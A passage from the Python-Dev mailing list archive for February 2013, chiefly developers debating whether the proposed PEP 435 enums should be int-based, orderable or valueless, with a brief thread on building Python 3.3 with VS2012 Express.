Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
	435 (enum). The name is not important at the moment, as
In-Reply-To: <512B7F43.5060406@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
Message-ID: <20130225153526.568E6250BC5@webabinitio.net>

On Mon, 25 Feb 2013 07:12:03 -0800, Ethan Furman <ethan at stoneleaf.us> wrote:
> I must admit I find it mildly amusing (but a lot frustrating) that we
> are talk about /enumerations/ not needing to be based on ints.
> Checking out Merrian-Webster gives this:
> 
> Definition of ENUMERATE
> 1
> : to ascertain the number of : count
> 2
> : to specify one after another : list

I believe they are taking the second definition.  Which would mean that,
at a minimum, if it is called an Enum the components should be orderable
according to the order of definition.  Also having an integer value
would decrease the surprise factor.

Either that, or name them something other than "enum".

If they aren't ints and they aren't orderable, it seems to me they are
just a set of names.  Which if we had labeled values, could be implemented
as...a set of names.

--David

From ethan at stoneleaf.us  Mon Feb 25 17:05:56 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Mon, 25 Feb 2013 08:05:56 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
Message-ID: <512B8BE4.5040102@stoneleaf.us>

I've stated my reasons for why enums should be int based, and some of the problems with having them not be int-based.

Besides "we just don't need them int-based in these use-cases" what are the reasons for the strong desire to have them 
be valueless?

--
~Ethan~

From rahulgarg at live.ca  Mon Feb 25 17:35:52 2013
From: rahulgarg at live.ca (rahul garg)
Date: Mon, 25 Feb 2013 11:35:52 -0500
Subject: [Python-Dev] Built with VS2012 Express for desktop
In-Reply-To: <SNT002-W74623B62A2CF59809A6DEFB1F60@phx.gbl>
References: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>, ,
	<CAD+XWwqvmLwpDPaF1njckqZ=YNd6BB5R7iJ6tXsTe0-dT6xG4A@mail.gmail.com>,
	<SNT002-W74623B62A2CF59809A6DEFB1F60@phx.gbl>
Message-ID: <SNT002-W43F94C3EE5003B7FCBD6BEB1F30@phx.gbl>

Hello again!

Apparently the executable I built was broken. I tried with Debug configuration on x64 and got a python_d.exe successfully.
However trying to run "python_d.exe -m test" results in an error that cannot import "support" from test.


rahul

From: rahulgarg at live.ca
To: brian at python.org
Date: Wed, 20 Feb 2013 03:03:14 -0500
CC: python-dev at python.org
Subject: Re: [Python-Dev] Built with VS2012 Express for desktop




> Date: Tue, 19 Feb 2013 12:48:02 -0600
> Subject: Re: [Python-Dev] Built with VS2012 Express for desktop
> From: brian at python.org
> To: rahulgarg at live.ca
> CC: python-dev at python.org
> 
> On Tue, Feb 19, 2013 at 12:37 PM, rahul garg <rahulgarg at live.ca> wrote:
> > Hi.
> >
> > I downloaded Python 3.3 source, opened up the solution in VS2012 Express for
> > Desktop and built the "python" subproject using "Release" and "x64"
> > configurations.  I now have a "python.exe" in the PCBuild/amd64 subfolder
> > that appears to be working as far as i can see.
> >
> > I have a few questions:
> > a) Is there a test suite that I can run to verify that the build is working
> > fine?
> Last I checked there are some issues, but most of the tests should
> pass. You would run "PCBuild\python.exe -m test" from the top level of
> your checkout to see this. It's also covered at
> http://docs.python.org/devguide/

Thanks! That page is what I should have looked for! 

> > b) I now intend to build some extensions (such as NumPy). Not sure if this
> > is the right list, but would I need to modify something in distutils to get
> > it working with VS2012?
> 
> Yes. You'll probably need to point distutils to the correct batch file
> that sets up a VS2012 build environment.

Thanks again!

rahul
 		 	   		  

_______________________________________________
Python-Dev mailing list
Python-Dev at python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: http://mail.python.org/mailman/options/python-dev/rahulgarg%40live.ca 		 	   		  
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130225/376bc224/attachment-0001.html>

From barry at python.org  Mon Feb 25 17:37:29 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 25 Feb 2013 11:37:29 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512B7F43.5060406@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
Message-ID: <20130225113729.235b86c6@anarchist.wooz.org>

On Feb 25, 2013, at 07:12 AM, Ethan Furman wrote:

>And if, in those places, the enums were based on ints (or strings), would it
>hurt you?  Because in the places where I, as well as many others, use enums
>we *need* the int portion; and having to wrap the enum in an int() call is
>seven extra keystrokes (minor) and a heap of visual clutter (major),
>destroying any value the enum was supposed to have.

Yes, I think enum values inheriting from int (or string) would hurt.

First, as your question implies, which is it?  int or str?  Some people want
int some want str.  It can't be both, and I don't think we need two enum
types.

It's a deeper question though, because if enum values inherited from int, then
people would expect things like ``Colors.red == 1`` to work.  Maybe you think
that doesn't look so bad, but that also implies:

    >>> Colors = make('Colors', 'red green blue'.split())
    >>> Animals = make('Animals', 'ant bee cat'.split())
    >>> Colors.green == Animals.bee

and *that* I have a problem with.  While I generally recommend that that enum
values be comparable by identity, not by equality, lots of people will still
use `==` instead of `is`.  My preference:

def utter(animal):
    if animal is Animals.cat:
        print('meow')
    elif animal is Animals.bee:
        print('buzz')
    elif animal is Animals.ant:
        print('fphfft')

but commonly used:

def utter(animal):
    if animal == Animals.cat:
        print('meow')
    elif animal == Animals.bee:
        print('buzz')
    elif animal == Animals.ant:
        print('fphfft')

In both cases, I want ``utter(Colors.green)`` and ``utter(2)`` to fail.  In
the latter, if enum values are derived from ints, the second example will
succeed.  Currently, in both cases ``utter(Animals.cat)`` succeeds.

Even worse, if my library defines an Animals enum and your library defines a
different Animals enum, I do not want ``utter(YourAnimals.dog)`` to print
"meow" :).

I get that you think wrapping the value in int() is ugly.  I have a compromise
that you might find acceptable.  EnumValues already have .enum and .name
attributes, to give you the value's class and string name respectively.  It
would be trivial to add a .int attribute to return the value.

Thus if you want the int value, it would be easy enough to say
``Colors.green.int`` or ``Animals.bee.int``

https://bugs.launchpad.net/flufl.enum/+bug/1132859

Cheers,
-Barry

From barry at python.org  Mon Feb 25 17:42:14 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 25 Feb 2013 11:42:14 -0500
Subject: [Python-Dev] [Python-checkins] peps: Add PEP 445: The Argument
	Clinic DSL
In-Reply-To: <3ZF85b4VPXzNl2@mail.python.org>
References: <3ZF85b4VPXzNl2@mail.python.org>
Message-ID: <20130225114214.4aeadb15@anarchist.wooz.org>

On Feb 25, 2013, at 05:40 PM, brett.cannon wrote:

>http://hg.python.org/peps/rev/7aa92fb33436
>changeset:   4776:7aa92fb33436
>user:        Brett Cannon <brett at python.org>
>date:        Mon Feb 25 11:39:56 2013 -0500
>summary:
>  Add PEP 445: The Argument Clinic DSL

I beat you with PEP 436. :)

-Barry

From solipsis at pitrou.net  Mon Feb 25 17:43:08 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 25 Feb 2013 17:43:08 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
Message-ID: <20130225174308.45bb98ad@pitrou.net>

Le Mon, 25 Feb 2013 11:37:29 -0500,
Barry Warsaw <barry at python.org> a ?crit :
> On Feb 25, 2013, at 07:12 AM, Ethan Furman wrote:
> 
> >And if, in those places, the enums were based on ints (or strings),
> >would it hurt you?  Because in the places where I, as well as many
> >others, use enums we *need* the int portion; and having to wrap the
> >enum in an int() call is seven extra keystrokes (minor) and a heap
> >of visual clutter (major), destroying any value the enum was
> >supposed to have.
> 
> Yes, I think enum values inheriting from int (or string) would hurt.
> 
> First, as your question implies, which is it?  int or str?  Some
> people want int some want str.  It can't be both, and I don't think
> we need two enum types.

I think we do "need" two enum types (as far as some enum mechanism is
needed).
str is better for most pure-Python uses, but int is necessary for a lot
of portability / compatibility requirements.

Regards

Antoine.



From skip at pobox.com  Mon Feb 25 17:44:33 2013
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 25 Feb 2013 10:44:33 -0600
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512B8BE4.5040102@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B8BE4.5040102@stoneleaf.us>
Message-ID: <CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>

> Besides "we just don't need them int-based in these use-cases" what are the
> reasons for the strong desire to have them be valueless?

Not sure about other people, but piggybacking off C semantics, while
convenient, reflects the limitations of the C implementation more than
anything else.  An enumeration, while you can count its items, doesn't
imply that the elements of the enumeration are naturally ordered.  If
you force an underlying association with integers, you imply ordering
where none naturally exists.   Given this:

critters = enum(DOG, CAT, RACCOON)

what does it mean that DOG < CAT?  Python 3 got rid of a lot of
nonsense comparisons:

~% python2.7
Python 2.7.3+ (2.7:df57314b93d1, Feb 24 2013, 23:25:05)
[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> 1 < None
False
>>>
~% python3.3
Python 3.3.0+ (3.3:aae2bb2e3195, Feb 24 2013, 23:15:28)
[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> 1 < None
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: unorderable types: int() < NoneType()
>>>

It's not clear to me that sneaking artificial ordering in the back
door via enumerations is the correct thing to do.

Skip

From solipsis at pitrou.net  Mon Feb 25 17:56:40 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 25 Feb 2013 17:56:40 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B8BE4.5040102@stoneleaf.us>
	<CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>
Message-ID: <20130225175640.043d4d79@pitrou.net>

Le Mon, 25 Feb 2013 10:44:33 -0600,
Skip Montanaro <skip at pobox.com> a ?crit :
> > Besides "we just don't need them int-based in these use-cases" what
> > are the reasons for the strong desire to have them be valueless?
> 
> Not sure about other people, but piggybacking off C semantics, while
> convenient, reflects the limitations of the C implementation more than
> anything else.  An enumeration, while you can count its items, doesn't
> imply that the elements of the enumeration are naturally ordered.  If
> you force an underlying association with integers, you imply ordering
> where none naturally exists.   Given this:
> 
> critters = enum(DOG, CAT, RACCOON)
> 
> what does it mean that DOG < CAT?

It doesn't mean anything, but so what? "DOG" > "CAT" doesn't mean much
either, and yet it's legal in Python.

Regards

Antoine.



From eliben at gmail.com  Mon Feb 25 18:03:06 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Mon, 25 Feb 2013 09:03:06 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130225175640.043d4d79@pitrou.net>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B8BE4.5040102@stoneleaf.us>
	<CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>
	<20130225175640.043d4d79@pitrou.net>
Message-ID: <CAF-Rda8EZJFUi3So8zLdH7dH_V=gW3c-UJWOomsMKW=DTn4PLw@mail.gmail.com>

On Mon, Feb 25, 2013 at 8:56 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:

> Le Mon, 25 Feb 2013 10:44:33 -0600,
> Skip Montanaro <skip at pobox.com> a ?crit :
> > > Besides "we just don't need them int-based in these use-cases" what
> > > are the reasons for the strong desire to have them be valueless?
> >
> > Not sure about other people, but piggybacking off C semantics, while
> > convenient, reflects the limitations of the C implementation more than
> > anything else.  An enumeration, while you can count its items, doesn't
> > imply that the elements of the enumeration are naturally ordered.  If
> > you force an underlying association with integers, you imply ordering
> > where none naturally exists.   Given this:
> >
> > critters = enum(DOG, CAT, RACCOON)
> >
> > what does it mean that DOG < CAT?
>
> It doesn't mean anything, but so what? "DOG" > "CAT" doesn't mean much
> either, and yet it's legal in Python.
>

"DOG" > "CAT" invokes lexicographical comparison between two strings, a
well-defined and sensical operations. It simply means that in a sorted list
of strings, "CAT" will come before "DOG". This is different from an
enumeration that attempts to (at least logically) restrict a value to a set
of pre-defined entities.

That said, I'm slowly starting to realize that enums try to impose a bit of
static typing on Python, which may be the cause for so much friction :-/

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130225/ff669fb7/attachment.html>

From rdmurray at bitdance.com  Mon Feb 25 18:10:36 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Mon, 25 Feb 2013 12:10:36 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
	435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda8EZJFUi3So8zLdH7dH_V=gW3c-UJWOomsMKW=DTn4PLw@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B8BE4.5040102@stoneleaf.us>
	<CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>
	<20130225175640.043d4d79@pitrou.net>
	<CAF-Rda8EZJFUi3So8zLdH7dH_V=gW3c-UJWOomsMKW=DTn4PLw@mail.gmail.com>
Message-ID: <20130225171037.1EFC5250BD2@webabinitio.net>

On Mon, 25 Feb 2013 09:03:06 -0800, Eli Bendersky <eliben at gmail.com> wrote:
> On Mon, Feb 25, 2013 at 8:56 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> 
> > Le Mon, 25 Feb 2013 10:44:33 -0600,
> > Skip Montanaro <skip at pobox.com> a ??crit :
> > > > Besides "we just don't need them int-based in these use-cases" what
> > > > are the reasons for the strong desire to have them be valueless?
> > >
> > > Not sure about other people, but piggybacking off C semantics, while
> > > convenient, reflects the limitations of the C implementation more than
> > > anything else.  An enumeration, while you can count its items, doesn't
> > > imply that the elements of the enumeration are naturally ordered.  If
> > > you force an underlying association with integers, you imply ordering
> > > where none naturally exists.   Given this:
> > >
> > > critters = enum(DOG, CAT, RACCOON)
> > >
> > > what does it mean that DOG < CAT?
> >
> > It doesn't mean anything, but so what? "DOG" > "CAT" doesn't mean much
> > either, and yet it's legal in Python.
> >
> 
> "DOG" > "CAT" invokes lexicographical comparison between two strings, a
> well-defined and sensical operations. It simply means that in a sorted list
> of strings, "CAT" will come before "DOG". This is different from an
> enumeration that attempts to (at least logically) restrict a value to a set
> of pre-defined entities.
> 
> That said, I'm slowly starting to realize that enums try to impose a bit of
> static typing on Python, which may be the cause for so much friction :-/

If we had labeled values, none of this would be a problem.  If you wanted
ints, you could use labeled ints as the values.  If you wanted strings,
labeled strings.  If you wanted incommensurate, unsortable objects,
you could use labeled objects as the values.

--David

From python at mrabarnett.plus.com  Mon Feb 25 18:19:55 2013
From: python at mrabarnett.plus.com (MRAB)
Date: Mon, 25 Feb 2013 17:19:55 +0000
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130225113729.235b86c6@anarchist.wooz.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
Message-ID: <512B9D3B.5020600@mrabarnett.plus.com>

On 2013-02-25 16:37, Barry Warsaw wrote:
> On Feb 25, 2013, at 07:12 AM, Ethan Furman wrote:
>
>>And if, in those places, the enums were based on ints (or strings), would it
>>hurt you?  Because in the places where I, as well as many others, use enums
>>we *need* the int portion; and having to wrap the enum in an int() call is
>>seven extra keystrokes (minor) and a heap of visual clutter (major),
>>destroying any value the enum was supposed to have.
>
> Yes, I think enum values inheriting from int (or string) would hurt.
>
> First, as your question implies, which is it?  int or str?  Some people want
> int some want str.  It can't be both, and I don't think we need two enum
> types.
>
> It's a deeper question though, because if enum values inherited from int, then
> people would expect things like ``Colors.red == 1`` to work.  Maybe you think
> that doesn't look so bad, but that also implies:
>
>      >>> Colors = make('Colors', 'red green blue'.split())
>      >>> Animals = make('Animals', 'ant bee cat'.split())
>      >>> Colors.green == Animals.bee
>
> and *that* I have a problem with.  While I generally recommend that that enum
> values be comparable by identity, not by equality, lots of people will still
> use `==` instead of `is`.  My preference:
>
> def utter(animal):
>      if animal is Animals.cat:
>          print('meow')
>      elif animal is Animals.bee:
>          print('buzz')
>      elif animal is Animals.ant:
>          print('fphfft')
>
> but commonly used:
>
> def utter(animal):
>      if animal == Animals.cat:
>          print('meow')
>      elif animal == Animals.bee:
>          print('buzz')
>      elif animal == Animals.ant:
>          print('fphfft')
>
Would we be doing either of those? Surely we would be using a dict
instead, and what does a dict use, identity or equality?

> In both cases, I want ``utter(Colors.green)`` and ``utter(2)`` to fail.  In
> the latter, if enum values are derived from ints, the second example will
> succeed.  Currently, in both cases ``utter(Animals.cat)`` succeeds.
>
> Even worse, if my library defines an Animals enum and your library defines a
> different Animals enum, I do not want ``utter(YourAnimals.dog)`` to print
> "meow" :).
>
> I get that you think wrapping the value in int() is ugly.  I have a compromise
> that you might find acceptable.  EnumValues already have .enum and .name
> attributes, to give you the value's class and string name respectively.  It
> would be trivial to add a .int attribute to return the value.
>
> Thus if you want the int value, it would be easy enough to say
> ``Colors.green.int`` or ``Animals.bee.int``
>
> https://bugs.launchpad.net/flufl.enum/+bug/1132859
>


From barry at python.org  Mon Feb 25 18:33:42 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 25 Feb 2013 12:33:42 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512B9D3B.5020600@mrabarnett.plus.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512B9D3B.5020600@mrabarnett.plus.com>
Message-ID: <20130225123342.5de928a9@anarchist.wooz.org>

On Feb 25, 2013, at 05:19 PM, MRAB wrote:

>Would we be doing either of those? Surely we would be using a dict
>instead, and what does a dict use, identity or equality?

It's just a contrived example for email brevity.  In my real world examples,
the code inside the conditions can be much more complicated and not conducive
to dict usage.

-Barry

From ethan at stoneleaf.us  Mon Feb 25 18:34:54 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Mon, 25 Feb 2013 09:34:54 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B8BE4.5040102@stoneleaf.us>
	<CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>
Message-ID: <512BA0BE.1010908@stoneleaf.us>

On 02/25/2013 08:44 AM, Skip Montanaro wrote:
>> Besides "we just don't need them int-based in these use-cases" what are the
>> reasons for the strong desire to have them be valueless?
>
> Not sure about other people, but piggybacking off C semantics, while
> convenient, reflects the limitations of the C implementation more than
> anything else.  An enumeration, while you can count its items, doesn't
> imply that the elements of the enumeration are naturally ordered.  If
> you force an underlying association with integers, you imply ordering
> where none naturally exists.   Given this:
>
> critters = enum(DOG, CAT, RACCOON)
>
> what does it mean that DOG < CAT?  Python 3 got rid of a lot of
> nonsense comparisons:

I certainly agree that there are some cases where an enumeration doesn't have any natural ordering; surely we can also 
agree that there are some that do?  This is why I think our new Enum should have a selectable underlying type: int, 
bitmask (int is disguise ;), str, float -- whatever the developer needs.  If ordering is not important, use str as your 
backend, or we could even have a truly valueless backend for those occasions.

As far as not needing more than one type of enum:  enumerations are used for counting and/or listing -- how many ways 
can we count? int, float, complex, decimal, fraction; how many ways can we list? list, tuple, array.

I have no problem with having a valueless enum, or even with having it be the default -- so long as I can choose to use 
a SequenceEnum (or IntEnum, whatever we call it) then I'll be happy.

--
~Ethan~

From ethan at stoneleaf.us  Mon Feb 25 18:35:58 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Mon, 25 Feb 2013 09:35:58 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130225113729.235b86c6@anarchist.wooz.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
Message-ID: <512BA0FE.40206@stoneleaf.us>

On 02/25/2013 08:37 AM, Barry Warsaw wrote:
> On Feb 25, 2013, at 07:12 AM, Ethan Furman wrote:
>
>> And if, in those places, the enums were based on ints (or strings), would it
>> hurt you?  Because in the places where I, as well as many others, use enums
>> we *need* the int portion; and having to wrap the enum in an int() call is
>> seven extra keystrokes (minor) and a heap of visual clutter (major),
>> destroying any value the enum was supposed to have.
>
> Yes, I think enum values inheriting from int (or string) would hurt.
>
> First, as your question implies, which is it?  int or str?  Some people want
> int some want str.  It can't be both, and I don't think we need two enum
> types.

I can see enums of at least three different types being useful: int, str, and bitmask; a valueless enum would be a fourth.


> It's a deeper question though, because if enum values inherited from int, then
> people would expect things like ``Colors.red == 1`` to work.  Maybe you think
> that doesn't look so bad, but that also implies:

I do expect that to work.


>      >>> Colors = make('Colors', 'red green blue'.split())
>      >>> Animals = make('Animals', 'ant bee cat'.split())
>      >>> Colors.green == Animals.bee

But this I don't, and in both mine, Ted's, and Alex's versions enums from different groups do not compare equal, 
regardless of the underlying value.  Of course, this does have the potential problem of `green == 1 == bee` but not 
`green == bee` which would be a problem with set and dicts -- but I'm the only one who has brought up that issue.


> I get that you think wrapping the value in int() is ugly.  I have a compromise
> that you might find acceptable.  EnumValues already have .enum and .name
> attributes, to give you the value's class and string name respectively.  It
> would be trivial to add a .int attribute to return the value.
>
> Thus if you want the int value, it would be easy enough to say
> ``Colors.green.int`` or ``Animals.bee.int``

Well, it certainly isn't as ugly, and isn't as hard on the wrists.  If your's is the package that makes it in the stdlib 
I would certainly appreciate the modification.

However, as I replied to Skip, I think a stdlib solution should meet many needs, and sometimes (often, for some people 
;) those needs will be better served by an int-based or str-based enum.

--
~Ethan~

From barry at python.org  Mon Feb 25 19:05:02 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 25 Feb 2013 13:05:02 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512BA0FE.40206@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us>
Message-ID: <20130225130502.3d55e8b6@anarchist.wooz.org>

On Feb 25, 2013, at 09:35 AM, Ethan Furman wrote:

>>      >>> Colors = make('Colors', 'red green blue'.split())
>>      >>> Animals = make('Animals', 'ant bee cat'.split())
>>      >>> Colors.green == Animals.bee
>
>But this I don't, and in both mine, Ted's, and Alex's versions enums from
>different groups do not compare equal, regardless of the underlying value.
>Of course, this does have the potential problem of `green == 1 == bee` but
>not `green == bee` which would be a problem with set and dicts -- but I'm the
>only one who has brought up that issue.

Right, but my point is that if isinstance(Colors.green, int) then a reasonable
interpretation is that enum values will compare equal against other ints.  It
seems weird to me that enum values *are* ints but aren't substitutable with
ints (e.g. comparable against other ints including other subclasses of ints).

>However, as I replied to Skip, I think a stdlib solution should meet many
>needs, and sometimes (often, for some people ;) those needs will be better
>served by an int-based or str-based enum.

Maybe.  I don't think a stdlib solution has to meet *all* needs.  I think
named values plus int-interoperable enums will solve almost all use cases.

-Barry

From ethan at stoneleaf.us  Mon Feb 25 19:25:00 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Mon, 25 Feb 2013 10:25:00 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130225130502.3d55e8b6@anarchist.wooz.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
